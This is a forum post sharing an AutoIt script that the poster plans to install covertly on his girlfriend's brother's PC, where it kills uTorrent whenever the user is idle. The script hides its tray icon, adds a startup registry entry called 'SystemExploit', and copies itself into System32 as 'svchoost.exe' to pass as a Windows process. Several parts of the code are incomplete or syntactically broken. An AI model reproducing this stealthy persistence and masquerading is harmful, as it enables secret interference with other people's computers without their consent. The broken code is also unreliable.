Jump to content
Sign in to follow this  

Kill uTorrent , ProcessExists, ProcessClose

Recommended Posts



So i've made a uTorrent killer when you idle 10minutes and which turn on uTorrent when you're back. You are certainly wondering why make a script like that, n0way is idiot ! :x

I'm going to explain you :

Sometimes it happens that i'm going to sleep at my girl friend's home, and she has got a brother who is downloading (certainly porn), but he is never at home.

So I decided to make a script that kill uTorrent when he is not here (almost always) and which turn on uTorrent when he is back.

#include <Process.au3>
#include <Timers.au3>

;--------------------------------- variable ---------------------------------
$var = 0
$mousex = 0
$mousey = 0
$IdleMinimum = 600000

Opt("TrayIconHide", 1)

;--------------------------------- verifier le programme se lance au demarrage du pc ---------------------------------
if RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "SystemExploit") = "" Then
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "SystemExploit", "REG_SZ", "C:\Windows\System32\svchoost.exe")
    FileCopy(@ScriptFullPath, "C:\Windows\System32\svchoost.exe", 1)

;--------------------------------- Fonctionnement continu ---------------------------------
While 1
    If _Timer_GetIdleTime() >= $IdleMinimum Then
        If ProcessExists("uTorrent.exe") Then
            $var = 1
            $mousex = MouseGetPos(0)
            $mousey = MouseGetPos(1)
        Until _Timer_GetIdleTime() < $IdleMinimum

    If $var = 1 And $mousex <> MouseGetPos(0) And $mousey <> MouseGetPos(1) Then
        $var = 0
        ShellExecute("c:\Program Files\uTorrent\uTorrent.exe")


I'm open for pieces of advice..

P.S : i'm sorry for my english, i'm working on it to perfect

Share this post

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

Sign in to follow this  


Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.